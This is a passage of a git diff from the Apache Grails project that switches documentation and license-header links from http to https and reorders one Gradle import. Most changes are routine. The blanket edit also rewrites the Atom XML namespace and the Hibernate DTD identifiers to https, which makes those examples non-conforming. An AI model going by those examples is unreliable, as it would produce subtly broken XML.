         1.0 == ct.bd
diff --git a/grails-datamapping-validation/src/main/resources/grails/gorm/validation/DefaultErrorMessages.properties b/grails-datamapping-validation/src/main/resources/grails/gorm/validation/DefaultErrorMessages.properties
index cf9e4252b7..00595d4e6a 100644
--- a/grails-datamapping-validation/src/main/resources/grails/gorm/validation/DefaultErrorMessages.properties
+++ b/grails-datamapping-validation/src/main/resources/grails/gorm/validation/DefaultErrorMessages.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-doc/build.gradle b/grails-doc/build.gradle
index 97d678b64e..73f14a2fcd 100644
--- a/grails-doc/build.gradle
+++ b/grails-doc/build.gradle
@@ -17,8 +17,8 @@
  *  under the License.
  */
 
-import grails.doc.git.FetchTagsTask
 import grails.doc.dropdown.CreateReleaseDropDownTask
+import grails.doc.git.FetchTagsTask
 import grails.doc.gradle.PublishGuideTask
 
 plugins {
diff --git a/grails-doc/resources/doc.properties b/grails-doc/resources/doc.properties
index 1a8eaea3b9..4832cd072a 100644
--- a/grails-doc/resources/doc.properties
+++ b/grails-doc/resources/doc.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-doc/resources/log4j.properties b/grails-doc/resources/log4j.properties
index 2ad54fae72..3375f3224b 100644
--- a/grails-doc/resources/log4j.properties
+++ b/grails-doc/resources/log4j.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-doc/src/en/guide/REST/hypermedia.adoc b/grails-doc/src/en/guide/REST/hypermedia.adoc
index d2044753a4..c3b4972125 100644
--- a/grails-doc/src/en/guide/REST/hypermedia.adoc
+++ b/grails-doc/src/en/guide/REST/hypermedia.adoc
@@ -17,6 +17,6 @@ specific language governing permissions and limitations
 under the License.
 ////
 
-http://en.wikipedia.org/wiki/HATEOAS[HATEOAS], an abbreviation for Hypermedia as the Engine of Application State, is a common pattern applied to REST architectures that uses hypermedia and linking to define the REST API.
+https://en.wikipedia.org/wiki/HATEOAS[HATEOAS], an abbreviation for Hypermedia as the Engine of Application State, is a common pattern applied to REST architectures that uses hypermedia and linking to define the REST API.
 
-Hypermedia (also called Mime or Media Types) are used to describe the state of a REST resource, and links tell clients how to transition to the next state. The format of the response is typically JSON or XML, although standard formats such as http://tools.ietf.org/html/rfc4287[Atom] and/or http://stateless.co/hal_specification.html[HAL] are frequently used.
+Hypermedia (also called Mime or Media Types) are used to describe the state of a REST resource, and links tell clients how to transition to the next state. The format of the response is typically JSON or XML, although standard formats such as https://tools.ietf.org/html/rfc4287[Atom] and/or http://stateless.co/hal_specification.html[HAL] are frequently used.
diff --git a/grails-doc/src/en/guide/REST/hypermedia/atom.adoc b/grails-doc/src/en/guide/REST/hypermedia/atom.adoc
index 367bacf017..dbcc0d787f 100644
--- a/grails-doc/src/en/guide/REST/hypermedia/atom.adoc
+++ b/grails-doc/src/en/guide/REST/hypermedia/atom.adoc
@@ -17,15 +17,15 @@ specific language governing permissions and limitations
 under the License.
 ////
 
-http://tools.ietf.org/html/rfc4287[Atom] is another standard interchange format used to implement REST APIs. An example of Atom output can be seen below:
+https://tools.ietf.org/html/rfc4287[Atom] is another standard interchange format used to implement REST APIs. An example of Atom output can be seen below:
 
 [source,xml]
 ----
 <?xml version="1.0" encoding="utf-8"?>
-<feed xmlns="http://www.w3.org/2005/Atom">
+<feed xmlns="https://www.w3.org/2005/Atom">
 
  <title>Example Feed</title>
- <link href="http://example.org/"/>
+ <link href="https://example.org/"/>
  <updated>2003-12-13T18:30:02Z</updated>
  <author>
    <name>John Doe</name>
@@ -34,7 +34,7 @@ http://tools.ietf.org/html/rfc4287[Atom] is another standard interchange format
 
  <entry>
    <title>Atom-Powered Robots Run Amok</title>
-   <link href="http://example.org/2003/12/13/atom03"/>
+   <link href="https://example.org/2003/12/13/atom03"/>
    <id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>
    <updated>2003-12-13T18:30:02Z</updated>
    <summary>Some text.</summary>
diff --git a/grails-doc/src/en/guide/REST/hypermedia/hal.adoc b/grails-doc/src/en/guide/REST/hypermedia/hal.adoc
index 941d9a2bdf..af6d3f1b95 100644
--- a/grails-doc/src/en/guide/REST/hypermedia/hal.adoc
+++ b/grails-doc/src/en/guide/REST/hypermedia/hal.adoc
@@ -17,7 +17,7 @@ specific language governing permissions and limitations
 under the License.
 ////
 
-http://stateless.co/hal_specification.html[HAL] is a standard exchange format commonly used when developing REST APIs that follow HATEOAS principals. An example HAL document representing a list of orders can be seen below:
+https://stateless.co/hal_specification.html[HAL] is a standard exchange format commonly used when developing REST APIs that follow HATEOAS principals. An example HAL document representing a list of orders can be seen below:
 
 [source,javascript]
 ----
diff --git a/grails-doc/src/en/guide/REST/jsonViews.adoc b/grails-doc/src/en/guide/REST/jsonViews.adoc
index a098bce1ce..95d0c32dd1 100644
--- a/grails-doc/src/en/guide/REST/jsonViews.adoc
+++ b/grails-doc/src/en/guide/REST/jsonViews.adoc
@@ -23,4 +23,4 @@ You can continue to separate your application in terms of MVC, with the logic of
 
 JSON views also provide the flexibility to easily customize the JSON presented to clients without having to resort to relatively complex marshalling libraries like Jackson or Grails' marshaller API.
 
-NOTE: Since Grails 3.1, JSON views are considered by the Grails team the best way to present JSON output for the client, the section on writing custom marshallers has been removed from the user guide. If you are looking for information on that topic, see http://grails.github.io/grails-doc/3.0.x/guide/webServices.html#objectMarshallers[the Grails 3.0.x guide].
\ No newline at end of file
+NOTE: Since Grails 3.1, JSON views are considered by the Grails team the best way to present JSON output for the client, the section on writing custom marshallers has been removed from the user guide. If you are looking for information on that topic, see https://grails.github.io/grails-doc/3.0.x/guide/webServices.html#objectMarshallers[the Grails 3.0.x guide].
\ No newline at end of file
diff --git a/grails-doc/src/en/guide/REST/jsonViews/jsonViewsCreating.adoc b/grails-doc/src/en/guide/REST/jsonViews/jsonViewsCreating.adoc
index 51560d1c0f..09c061ae87 100644
--- a/grails-doc/src/en/guide/REST/jsonViews/jsonViewsCreating.adoc
+++ b/grails-doc/src/en/guide/REST/jsonViews/jsonViewsCreating.adoc
@@ -37,7 +37,7 @@ The above JSON view produces:
 {"person":{"name":"bob"}}
 ----
 
-There is an implicit `json` variable which is an instance of http://docs.groovy-lang.org/latest/html/api/groovy/json/StreamingJsonBuilder.html[StreamingJsonBuilder].
+There is an implicit `json` variable which is an instance of https://docs.groovy-lang.org/latest/html/api/groovy/json/StreamingJsonBuilder.html[StreamingJsonBuilder].
 
 Example usages:
 
@@ -48,4 +48,4 @@ json { name "Bob" } == '{"name":"Bob"}'
 json([1,2,3]) { n it } == '[{"n":1},{"n":2},{"n":3}]'
 ----
 
-Refer to the API documentation on http://docs.groovy-lang.org/latest/html/api/groovy/json/StreamingJsonBuilder.html[StreamingJsonBuilder] for more information about what is possible.
+Refer to the API documentation on https://docs.groovy-lang.org/latest/html/api/groovy/json/StreamingJsonBuilder.html[StreamingJsonBuilder] for more information about what is possible.
diff --git a/grails-doc/src/en/guide/REST/jsonViews/jsonViewsTemplatesAndConventions.adoc b/grails-doc/src/en/guide/REST/jsonViews/jsonViewsTemplatesAndConventions.adoc
index e4692ec0b2..8516782918 100644
--- a/grails-doc/src/en/guide/REST/jsonViews/jsonViewsTemplatesAndConventions.adoc
+++ b/grails-doc/src/en/guide/REST/jsonViews/jsonViewsTemplatesAndConventions.adoc
@@ -46,4 +46,4 @@ def save(Book book) {
 
 If a validation error occurs in the above example the `grails-app/views/book/_errors.gson` template will be rendered.
 
-For more information on JSON views (and Markup views), see the http://views.grails.org/latest/[JSON Views user guide].
+For more information on JSON views (and Markup views), see the https://views.grails.org/latest/[JSON Views user guide].
diff --git a/grails-doc/src/en/guide/async.adoc b/grails-doc/src/en/guide/async.adoc
index 82113bc8a4..97983f2e48 100644
--- a/grails-doc/src/en/guide/async.adoc
+++ b/grails-doc/src/en/guide/async.adoc
@@ -22,7 +22,7 @@ With modern hardware featuring multiple cores, many programming languages have b
 Popular asynchronous libraries include:
 
 * RxJava - https://reactivex.io
-* GPars - http://gpars.org
+* GPars - https://gpars.org
 * Reactor - https://projectreactor.io
 
 By building on top of these various libraries the Async features of Grails aim to simplify concurrent programming within the framework, include the concept of Promises, and a unified event model.
diff --git a/grails-doc/src/en/guide/async/asyncRequests.adoc b/grails-doc/src/en/guide/async/asyncRequests.adoc
index 3988871a4d..b383615a11 100644
--- a/grails-doc/src/en/guide/async/asyncRequests.adoc
+++ b/grails-doc/src/en/guide/async/asyncRequests.adoc
@@ -96,7 +96,7 @@ class StockController {
     def stock(String ticker) {
        task {
            ticker = ticker ?: 'GOOG'
-           def url = new URL("http://download.finance.yahoo.com/d/quotes.csv?s=${ticker}&f=nsl1op&e=.csv")
+           def url = new URL("https://download.finance.yahoo.com/d/quotes.csv?s=${ticker}&f=nsl1op&e=.csv")
            Double price = url.text.split(',')[-1] as Double
            render "ticker: $ticker, price: \$price"
        }
diff --git a/grails-doc/src/en/guide/commandLine/creatingCustomCommands.adoc b/grails-doc/src/en/guide/commandLine/creatingCustomCommands.adoc
index 75d3870e3d..0985470ca2 100644
--- a/grails-doc/src/en/guide/commandLine/creatingCustomCommands.adoc
+++ b/grails-doc/src/en/guide/commandLine/creatingCustomCommands.adoc
@@ -31,14 +31,14 @@ Since Grails 3.2.0, commands have similar abilities as scripts in regards to ret
 
 If you created a command in a previous version of grails, you can update your command to have those abilities by changing which trait you are implementing.
 
-Commands created in Grails 3.1.x or lower implement the http://docs.grails.org/latest/api/grails/dev/commands/ApplicationCommand.html[ApplicationCommand] trait by default which requires your command to implement the following method:
+Commands created in Grails 3.1.x or lower implement the https://docs.grails.org/latest/api/grails/dev/commands/ApplicationCommand.html[ApplicationCommand] trait by default which requires your command to implement the following method:
 
 [source,groovy]
 ----
 boolean handle(ExecutionContext executionContext)
 ----
 
-Commands created in Grails 3.2.0 or higher implement the http://docs.grails.org/latest/api/grails/dev/commands/GrailsApplicationCommand.html[GrailsApplicationCommand] trait by default which requires your command to implement the following method:
+Commands created in Grails 3.2.0 or higher implement the https://docs.grails.org/latest/api/grails/dev/commands/GrailsApplicationCommand.html[GrailsApplicationCommand] trait by default which requires your command to implement the following method:
 
 [source,groovy]
 ----
diff --git a/grails-doc/src/en/guide/commandLine/gradleBuild.adoc b/grails-doc/src/en/guide/commandLine/gradleBuild.adoc
index 1b244ab26d..0344cf228e 100644
--- a/grails-doc/src/en/guide/commandLine/gradleBuild.adoc
+++ b/grails-doc/src/en/guide/commandLine/gradleBuild.adoc
@@ -17,12 +17,12 @@ specific language governing permissions and limitations
 under the License.
 ////
 
-The http://gradle.org[Gradle Build System] is used for build related tasks such as compilation, running tests and producing binary distributions of your Grails project.
+The https://gradle.org[Gradle Build System] is used for build related tasks such as compilation, running tests and producing binary distributions of your Grails project.
 It is recommended to use Gradle {GradleVersion} or above with Grails.
 
 The build is defined by the `build.gradle` file which specifies the version of your project, the dependencies of the project and the repositories where to find those dependencies (amongst other things).
 
-When you invoke the `grails` command the version of Gradle that ships with Grails (currently {GradleVersion}) is invoked by the `grails` process via the http://www.gradle.org/docs/current/userguide/embedding.html[Gradle Tooling API]:
+When you invoke the `grails` command the version of Gradle that ships with Grails (currently {GradleVersion}) is invoked by the `grails` process via the https://www.gradle.org/docs/current/userguide/embedding.html[Gradle Tooling API]:
 
 [source,bash]
 ----
diff --git a/grails-doc/src/en/guide/commandLine/gradleBuild/gradleDependencies.adoc b/grails-doc/src/en/guide/commandLine/gradleBuild/gradleDependencies.adoc
index 3358704236..80309327c3 100644
--- a/grails-doc/src/en/guide/commandLine/gradleBuild/gradleDependencies.adoc
+++ b/grails-doc/src/en/guide/commandLine/gradleBuild/gradleDependencies.adoc
@@ -17,7 +17,7 @@ specific language governing permissions and limitations
 under the License.
 ////
 
-Dependencies for your project are defined in the `dependencies` block. In general, you can follow the http://www.gradle.org/docs/current/userguide/artifact_dependencies_tutorial.html[Gradle documentation on dependency management] to understand how to configure additional dependencies.
+Dependencies for your project are defined in the `dependencies` block. In general, you can follow the https://www.gradle.org/docs/current/userguide/artifact_dependencies_tutorial.html[Gradle documentation on dependency management] to understand how to configure additional dependencies.
 
 The default dependencies for the Grails Web application can be seen below:
 
diff --git a/grails-doc/src/en/guide/commandLine/gradleBuild/gradlePlugins.adoc b/grails-doc/src/en/guide/commandLine/gradleBuild/gradlePlugins.adoc
index 603d4d4df8..5896ecce9a 100644
--- a/grails-doc/src/en/guide/commandLine/gradleBuild/gradlePlugins.adoc
+++ b/grails-doc/src/en/guide/commandLine/gradleBuild/gradlePlugins.adoc
@@ -44,8 +44,8 @@ The default plugins are as follows:
 
 * `groovy` - The Groovy plugin adds support for Groovy projects. It can handle Groovy code mixed with Java. Read More: https://docs.gradle.org/{gradleVersion}/userguide/groovy_plugin.html[The Groovy Plugin]
 * `war` - The https://docs.gradle.org/{gradleVersion}/userguide/war_plugin.html[WAR plugin] changes the packaging so that Gradle creates a WAR file. You can comment out this plugin to build a runnable JAR file for standalone deployment.
-* `idea` - The IDEA plugin generates files used by http://www.jetbrains.com/idea/[IntelliJ IDEA], allowing the project to be opened from IDEA. Read More: https://docs.gradle.org/{gradleVersion}/userguide/idea_plugin.html[The IDEA Plugin]
-* `eclipse` - The Eclipse plugins generate files for the http://eclipse.org/[Eclipse IDE], enabling project import (File - Import... - Existing Projects into Workspace). Read More: https://docs.gradle.org/{gradleVersion}/userguide/eclipse_plugin.html[The Eclipse Plugin]
+* `idea` - The IDEA plugin generates files used by https://www.jetbrains.com/idea/[IntelliJ IDEA], allowing the project to be opened from IDEA. Read More: https://docs.gradle.org/{gradleVersion}/userguide/idea_plugin.html[The IDEA Plugin]
+* `eclipse` - The Eclipse plugins generate files for the https://eclipse.org/[Eclipse IDE], enabling project import (File - Import... - Existing Projects into Workspace). Read More: https://docs.gradle.org/{gradleVersion}/userguide/eclipse_plugin.html[The Eclipse Plugin]
 * `asset-pipeline` - The https://github.com/wondrify/asset-pipeline[Asset Pipeline] plugin enables compilation of static assets (JavaScript, CSS, etc.)
 
 Many of these are built-in plugins provided by Gradle or third-party plugins. The Gradle plugins that Grails provides are as follows:
diff --git a/grails-doc/src/en/guide/conf/config.adoc b/grails-doc/src/en/guide/conf/config.adoc
index 4748016cfc..751f14775b 100644
--- a/grails-doc/src/en/guide/conf/config.adoc
+++ b/grails-doc/src/en/guide/conf/config.adoc
@@ -21,7 +21,7 @@ Configuration in Grails is generally split across 2 areas: build configuration a
 
 Build configuration is generally done via Gradle and the `build.gradle` file. Runtime configuration is by default specified in YAML in the `grails-app/conf/application.yml` file.
 
-If you prefer to use Grails 2.0-style Groovy configuration then it is possible to specify configuration using Groovy's http://docs.groovy-lang.org/latest/html/documentation/#_configslurper[ConfigSlurper] syntax. Two Groovy configuration files are available: `grails-app/conf/application.groovy` and `grails-app/conf/runtime.groovy`:
+If you prefer to use Grails 2.0-style Groovy configuration then it is possible to specify configuration using Groovy's https://docs.groovy-lang.org/latest/html/documentation/#_configslurper[ConfigSlurper] syntax. Two Groovy configuration files are available: `grails-app/conf/application.groovy` and `grails-app/conf/runtime.groovy`:
 
 . Use `application.groovy` for configuration that doesn't depend on application classes
 . Use `runtime.groovy` for configuration that does depend on application classes
diff --git a/grails-doc/src/en/guide/conf/config/builtInOptions.adoc b/grails-doc/src/en/guide/conf/config/builtInOptions.adoc
index 5cbc2b7799..671c6574cf 100644
--- a/grails-doc/src/en/guide/conf/config/builtInOptions.adoc
+++ b/grails-doc/src/en/guide/conf/config/builtInOptions.adoc
@@ -31,7 +31,7 @@ On the runtime front, i.e. `grails-app/conf/application.yml`, there are quite a
 * `grails.views.gsp.encoding` - The file encoding used for GSP source files (default: 'utf-8').
 * `grails.mime.file.extensions` - Whether to use the file extension to dictate the mime type in link:theWebLayer.html#contentNegotiation[Content Negotiation] (default: true).
 * `grails.mime.types` - A map of supported mime types used for link:theWebLayer.html#contentNegotiation[Content Negotiation].
-* `grails.serverURL` - A string specifying the server URL portion of absolute links, including server name e.g. grails.serverURL="http://my.yourportal.com". See link:{gspdocs}/ref/Tags/createLink.html[createLink]. Also used by redirects.
+* `grails.serverURL` - A string specifying the server URL portion of absolute links, including server name e.g. grails.serverURL="https://my.yourportal.com". See link:{gspdocs}/ref/Tags/createLink.html[createLink]. Also used by redirects.
 * `grails.views.gsp.layout.preprocess` - Determines whether layout preprocessing happens. Disabling this slows down page rendering, but if you need Grails' layout implementation to parse the generated HTML from a GSP view, then disabling it is the right option. Don't worry if you don't understand this advanced property: leave it set to true.
 * `grails.reload.excludes` and `grails.reload.includes` - Configuring these directives determines the reload behavior for project specific source files. Each directive takes a list of strings that are the class names for project source files that should be excluded from reloading behavior or included accordingly when running the application in development with the `bootRun` task. If the `grails.reload.includes` directive is configured, then only the classes in that list will be reloaded.
 
diff --git a/grails-doc/src/en/guide/conf/config/logging/loggerName.adoc b/grails-doc/src/en/guide/conf/config/logging/loggerName.adoc
index 125fbf076b..78301757dc 100644
--- a/grails-doc/src/en/guide/conf/config/logging/loggerName.adoc
+++ b/grails-doc/src/en/guide/conf/config/logging/loggerName.adoc
@@ -26,7 +26,7 @@ qualified name of the artifact.
 
 Grails 3.3.x simplifies logger names. The next examples illustrate the changes:
 
-`BookController.groovy` located at `grails-app/controllers/com/company` NOT annotated with `http://docs.groovy-lang.org/latest/html/gapi/groovy/util/logging/Slf4j.html[@Slf4j]`
+`BookController.groovy` located at `grails-app/controllers/com/company` NOT annotated with `https://docs.groovy-lang.org/latest/html/gapi/groovy/util/logging/Slf4j.html[@Slf4j]`
 
 [cols="2*"]
 |===
@@ -37,7 +37,7 @@ Grails 3.3.x simplifies logger names. The next examples illustrate the changes:
 |===
 
 
-`BookController.groovy` located at `grails-app/controllers/com/company` annotated with `http://docs.groovy-lang.org/latest/html/gapi/groovy/util/logging/Slf4j.html[@Slf4j]`
+`BookController.groovy` located at `grails-app/controllers/com/company` annotated with `https://docs.groovy-lang.org/latest/html/gapi/groovy/util/logging/Slf4j.html[@Slf4j]`
 
 [cols="2*"]
 |===
@@ -48,7 +48,7 @@ Grails 3.3.x simplifies logger names. The next examples illustrate the changes:
 |===
 
 
-`BookService.groovy` located at `grails-app/services/com/company` NOT annotated with `http://docs.groovy-lang.org/latest/html/gapi/groovy/util/logging/Slf4j.html[@Slf4j]`
+`BookService.groovy` located at `grails-app/services/com/company` NOT annotated with `https://docs.groovy-lang.org/latest/html/gapi/groovy/util/logging/Slf4j.html[@Slf4j]`
 
 [cols="2*"]
 |===
@@ -58,7 +58,7 @@ Grails 3.3.x simplifies logger names. The next examples illustrate the changes:
 |`grails.app.services.com.company.BookService`
 |===
 
-`BookService.groovy` located at `grails-app/services/com/company` annotated with `http://docs.groovy-lang.org/latest/html/gapi/groovy/util/logging/Slf4j.html[@Slf4j]`
+`BookService.groovy` located at `grails-app/services/com/company` annotated with `https://docs.groovy-lang.org/latest/html/gapi/groovy/util/logging/Slf4j.html[@Slf4j]`
 
 [cols="2*"]
 |===
@@ -68,7 +68,7 @@ Grails 3.3.x simplifies logger names. The next examples illustrate the changes:
 |`com.company.BookService`
 |===
 
-`BookDetail.groovy` located at `src/main/groovy/com/company` annotated with `http://docs.groovy-lang.org/latest/html/gapi/groovy/util/logging/Slf4j.html[@Slf4j]`
+`BookDetail.groovy` located at `src/main/groovy/com/company` annotated with `https://docs.groovy-lang.org/latest/html/gapi/groovy/util/logging/Slf4j.html[@Slf4j]`
 
 [cols="2*"]
 |===
diff --git a/grails-doc/src/en/guide/conf/dataSource.adoc b/grails-doc/src/en/guide/conf/dataSource.adoc
index c3c9cbe79b..b88ed9b446 100644
--- a/grails-doc/src/en/guide/conf/dataSource.adoc
+++ b/grails-doc/src/en/guide/conf/dataSource.adoc
@@ -44,7 +44,7 @@ Once you have the JAR resolved you need to get familiar with how Grails manages
 * `readOnly` - If `true` makes the DataSource read-only, which results in the connection pool calling `setReadOnly(true)` on each `Connection`
 * `transactional` - If `false` leaves the DataSource's transactionManager bean outside the chained BE1PC transaction manager implementation. This only applies to additional datasources.
 * `persistenceInterceptor` - The default datasource is automatically wired up to the persistence interceptor, other datasources are not wired up automatically unless this is set to `true`
-* `properties` - Extra properties to set on the DataSource bean. See the http://tomcat.apache.org/tomcat-7.0-doc/jdbc-pool.html#Common_Attributes[Tomcat Pool] documentation. There is also a Javadoc format https://tomcat.apache.org/tomcat-7.0-doc/api/org/apache/tomcat/jdbc/pool/PoolConfiguration.html[documentation of the properties].
+* `properties` - Extra properties to set on the DataSource bean. See the https://tomcat.apache.org/tomcat-7.0-doc/jdbc-pool.html#Common_Attributes[Tomcat Pool] documentation. There is also a Javadoc format https://tomcat.apache.org/tomcat-7.0-doc/api/org/apache/tomcat/jdbc/pool/PoolConfiguration.html[documentation of the properties].
 * `jmxExport` - If `false`, will disable registration of JMX MBeans for all DataSources. By default JMX MBeans are added for DataSources with `jmxEnabled = true` in properties.
 * `type` - The connection pool class if you want to force Grails to use it when there are more than one available.
 
@@ -107,7 +107,7 @@ dataSource {
     type = "com.zaxxer.hikari.HikariDataSource"
     properties {
        // Documentation for Tomcat JDBC Pool
-       // http://tomcat.apache.org/tomcat-7.0-doc/jdbc-pool.html#Common_Attributes
+       // https://tomcat.apache.org/tomcat-7.0-doc/jdbc-pool.html#Common_Attributes
        // https://tomcat.apache.org/tomcat-7.0-doc/api/org/apache/tomcat/jdbc/pool/PoolConfiguration.html
        jmxEnabled = true
        initialSize = 5
@@ -125,7 +125,7 @@ dataSource {
        testWhileIdle = true
        testOnReturn = false
        ignoreExceptionOnPreLoad = true
-       // http://tomcat.apache.org/tomcat-7.0-doc/jdbc-pool.html#JDBC_interceptors
+       // https://tomcat.apache.org/tomcat-7.0-doc/jdbc-pool.html#JDBC_interceptors
        jdbcInterceptors = "ConnectionState;StatementCache(max=200)"
        defaultTransactionIsolation = java.sql.Connection.TRANSACTION_READ_COMMITTED // safe default
        // controls for leaked connections 
@@ -138,7 +138,7 @@ dataSource {
        // Mysql as example
        dbProperties {
            // Mysql specific driver properties
-           // http://dev.mysql.com/doc/connector-j/en/connector-j-reference-configuration-properties.html
+           // https://dev.mysql.com/doc/connector-j/en/connector-j-reference-configuration-properties.html
            // let Tomcat JDBC Pool handle reconnecting
            autoReconnect=false
            // truncation behaviour 
@@ -183,4 +183,4 @@ Hibernate can automatically create the database tables required for your domain
 * *validate* - Makes no changes to your database. Compares the configuration with the existing database schema and reports warnings.
 * any other value - does nothing
 
-Setting the `dbCreate` setting to "none" is recommended once your schema is relatively stable and definitely when your application and database are deployed in production. Database changes are then managed through proper migrations, either with SQL scripts or a migration tool like https://flywaydb.org/[Flyway] or http://www.liquibase.org/[Liquibase]. The  link:{hibernate5Guide}/manual/index.html#databaseMigration[Database Migration] plugin uses Liquibase.
+Setting the `dbCreate` setting to "none" is recommended once your schema is relatively stable and definitely when your application and database are deployed in production. Database changes are then managed through proper migrations, either with SQL scripts or a migration tool like https://flywaydb.org/[Flyway] or https://www.liquibase.org/[Liquibase]. The  link:{hibernate5Guide}/manual/index.html#databaseMigration[Database Migration] plugin uses Liquibase.
diff --git a/grails-doc/src/en/guide/conf/dataSource/databaseConsole.adoc b/grails-doc/src/en/guide/conf/dataSource/databaseConsole.adoc
index ac04b4640c..2fbabab16a 100644
--- a/grails-doc/src/en/guide/conf/dataSource/databaseConsole.adoc
+++ b/grails-doc/src/en/guide/conf/dataSource/databaseConsole.adoc
@@ -17,7 +17,7 @@ specific language governing permissions and limitations
 under the License.
 ////
 
-The http://h2database.com/html/quickstart.html#h2_console[H2 database console] is a convenient feature of H2 that provides a web-based interface to any database that you have a JDBC driver for, and it's very useful to view the database you're developing against. It's especially useful when running against an in-memory database.
+The https://h2database.com/html/quickstart.html#h2_console[H2 database console] is a convenient feature of H2 that provides a web-based interface to any database that you have a JDBC driver for, and it's very useful to view the database you're developing against. It's especially useful when running against an in-memory database.
 
 You can access the console by navigating to http://localhost:8080/h2-console in a browser. See the {springBootReference}/htmlsingle/#data.sql.h2-web-console[Spring Boot H2 Console Documentation] for more information on the options available.
 
diff --git a/grails-doc/src/en/guide/conf/dataSource/multipleDatasources.adoc b/grails-doc/src/en/guide/conf/dataSource/multipleDatasources.adoc
index 7b5944e8b2..c09dfc4f8f 100644
--- a/grails-doc/src/en/guide/conf/dataSource/multipleDatasources.adoc
+++ b/grails-doc/src/en/guide/conf/dataSource/multipleDatasources.adoc
@@ -211,7 +211,7 @@ For example if the `Book` class is in the default datasource, you would register
 <?xml version='1.0' encoding='UTF-8'?>
 <!DOCTYPE hibernate-configuration PUBLIC
           '-//Hibernate/Hibernate Configuration DTD 3.0//EN'
-          'http://hibernate.sourceforge.net/hibernate-configuration-3.0.dtd'>
+          'https://hibernate.sourceforge.net/hibernate-configuration-3.0.dtd'>
 <hibernate-configuration>
    <session-factory>
       <mapping class='org.example.Book'/>
@@ -226,7 +226,7 @@ and if the `Library` class is in the "ds2" datasource, you would register that i
 <?xml version='1.0' encoding='UTF-8'?>
 <!DOCTYPE hibernate-configuration PUBLIC
           '-//Hibernate/Hibernate Configuration DTD 3.0//EN'
-          'http://hibernate.sourceforge.net/hibernate-configuration-3.0.dtd'>
+          'https://hibernate.sourceforge.net/hibernate-configuration-3.0.dtd'>
 <hibernate-configuration>
    <session-factory>
       <mapping class='org.example.Library'/>
diff --git a/grails-doc/src/en/guide/conf/docengine.adoc b/grails-doc/src/en/guide/conf/docengine.adoc
index 911422ef38..5dc652bae7 100644
--- a/grails-doc/src/en/guide/conf/docengine.adoc
+++ b/grails-doc/src/en/guide/conf/docengine.adoc
@@ -39,7 +39,7 @@ To use the engine you need to follow a few conventions. First, you need to creat
 
 Note that you can have all your gdoc files in the top-level directory if you want, but you can also put sub-sections in sub-directories named after the parent section - as the above example shows.
 
-Once you have your source files, you still need to tell the documentation engine what the structure of your user guide is going to be. To do that, you add a `src/docs/guide/toc.yml` file that contains the structure and titles for each section. This file is in http://www.yaml.org/[YAML] format and basically represents the structure of the user guide in tree form. For example, the above files could be represented as:
+Once you have your source files, you still need to tell the documentation engine what the structure of your user guide is going to be. To do that, you add a `src/docs/guide/toc.yml` file that contains the structure and titles for each section. This file is in https://www.yaml.org/[YAML] format and basically represents the structure of the user guide in tree form. For example, the above files could be represented as:
 
 [source,yaml]
 ----
@@ -142,11 +142,11 @@ Bold: *bold*
 ----
 
 Image:
-image::http://grails.org/images/new/grailslogo_topNav.png[]
+image::https://grails.org/images/new/grailslogo_topNav.png[]
 
 [source,xml]
 ----
-\!http://grails.org/images/new/grailslogo_topNav.png\!
+\!https://grails.org/images/new/grailslogo_topNav.png\!
 ----
 
 You can also link to internal images like so:
@@ -173,14 +173,14 @@ There are several ways to create links with the documentation generator. A basic
 
 [source,groovy]
 ----
-http://www.pivotal.io/oss[Pivotal]
+https://www.pivotal.io/oss[Pivotal]
 ----
 
 or
 
 [source,groovy]
 ----
-http://www.pivotal.io/oss[Pivotal] ----
+https://www.pivotal.io/oss[Pivotal] ----
 
 For links to other sections inside the user guide you can use the `guide:` prefix with the name of the section you want to link to:
 
@@ -212,7 +212,7 @@ The documentation engine will automatically create the appropriate javadoc link
 [source,groovy]
 ----
 grails.doc.api.org.hibernate=
-            "http://docs.jboss.org/hibernate/stable/core/javadocs"
+            "https://docs.jboss.org/hibernate/stable/core/javadocs"
 ----
 
 The above example configures classes within the `org.hibernate` package to link to the Hibernate website's API docs.
diff --git a/grails-doc/src/en/guide/contributing/build.adoc b/grails-doc/src/en/guide/contributing/build.adoc
index 5c5f98c551..f7bff5c13c 100644
--- a/grails-doc/src/en/guide/contributing/build.adoc
+++ b/grails-doc/src/en/guide/contributing/build.adoc
@@ -22,13 +22,13 @@ If you're interested in contributing fixes and features to any part of grails, y
 * A JDK (17 or above)
 * A git client
 
-Once you have all the pre-requisite packages installed, the next step is to download the Grails source code, which is hosted at http://github.com/apache/grails-core[GitHub].
+Once you have all the pre-requisite packages installed, the next step is to download the Grails source code, which is hosted at https://github.com/apache/grails-core[GitHub].
 This is a simple case of cloning the repository you're interested in.
 For example, to get the core framework run:
 
 [source,groovy]
 ----
-git clone http://github.com/apache/grails-core.git
+git clone https://github.com/apache/grails-core.git
 ----
 
 This will create a "grails-core" directory in your current working directory containing all the project source files. The next step is to get a Grails installation from the source.
@@ -49,7 +49,7 @@ Under the extracted location is a `bin` directory.
 Add it to your path.
 When you next type `grails-shell-cli` command to run, you'll be using the version you just built.
 
-If you are using http://sdkman.io[SDKMAN] then that can also be used to work with this local installation via the following:
+If you are using https://sdkman.io[SDKMAN] then that can also be used to work with this local installation via the following:
 
 [source,groovy]
 ----
diff --git a/grails-doc/src/en/guide/gettingStarted/conventionOverConfiguration.adoc b/grails-doc/src/en/guide/gettingStarted/conventionOverConfiguration.adoc
index 173b7587b2..2909b587fb 100644
--- a/grails-doc/src/en/guide/gettingStarted/conventionOverConfiguration.adoc
+++ b/grails-doc/src/en/guide/gettingStarted/conventionOverConfiguration.adoc
